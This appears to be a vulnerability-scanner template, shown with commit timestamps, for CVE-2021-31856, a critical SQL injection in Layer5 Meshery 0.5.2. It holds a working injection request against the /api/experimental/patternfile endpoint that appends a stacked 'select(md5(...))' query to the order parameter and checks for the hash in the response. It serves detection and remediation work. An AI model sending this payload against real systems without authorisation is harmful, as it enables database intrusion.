2021-09-01 12:15:54 +00:00
id : CVE-2021-31856
info :
2022-05-18 20:58:07 +00:00
name : Layer5 Meshery 0.5.2 - SQL Injection
2021-09-01 12:15:54 +00:00
author : princechaddha
severity : critical
2023-04-12 10:55:48 +00:00
description : Layer5 Meshery 0.5.2 contains a SQL injection vulnerability in the REST API that allows an attacker to execute arbitrary SQL commands via the /experimental/patternfiles endpoint (order parameter in GetMesheryPatterns in models/meshery_pattern_persister.go).
2023-09-06 12:09:01 +00:00
remediation : |
Upgrade to a patched version of Layer5 Meshery or apply the necessary security patches to mitigate the SQL Injection vulnerability (CVE-2021-31856).
2021-09-01 12:15:54 +00:00
reference :
- https://github.com/ssst0n3/CVE-2021-31856
- https://nvd.nist.gov/vuln/detail/CVE-2021-31856
2022-05-17 09:18:12 +00:00
- https://meshery.io
- https://github.com/layer5io/meshery/pull/2745
2021-09-10 11:26:40 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
2022-04-22 10:38:41 +00:00
cvss-score : 9.8
2021-09-10 11:26:40 +00:00
cve-id : CVE-2021-31856
cwe-id : CWE-89
2023-10-25 17:36:19 +00:00
epss-score : 0.05701
2023-11-09 06:04:52 +00:00
epss-percentile : 0.92512
2023-09-06 12:09:01 +00:00
cpe : cpe:2.3:a:layer5:meshery:0.5.2:*:*:*:*:*:*:*
2023-04-28 08:11:21 +00:00
metadata :
max-request : 1
2023-07-11 19:49:27 +00:00
vendor : layer5
product : meshery
tags : sqli,cve,cve2021
2022-06-30 03:34:25 +00:00
variables :
num : "999999999"
2023-04-27 04:28:59 +00:00
http :
2021-09-01 12:15:54 +00:00
- method : GET
path :
2022-06-30 03:34:25 +00:00
- "{{BaseURL}}/api/experimental/patternfile?order=id%3Bselect(md5({{num}}))&page=0&page_size=0"
2021-09-01 12:15:54 +00:00
matchers-condition : and
matchers :
- type : word
2023-07-11 19:49:27 +00:00
part : body
2021-09-01 12:15:54 +00:00
words :
2022-06-30 03:34:25 +00:00
- '{{md5({{num}})}}'
2021-09-01 12:15:54 +00:00
- type : status
status :
- 200
2023-11-09 10:11:53 +00:00
# digest: 4b0a00483046022100a3c4757621b3ec0bbd0f6fdb7975e040c53e728094146fdc8d01c0f2c05bf6dd022100a3d8f536bd5ec9942ad81a693ce0ed9fc91dd80fbdeb23b4107a3f69db23d49c:922c64590222798bb761d5b6d8e72950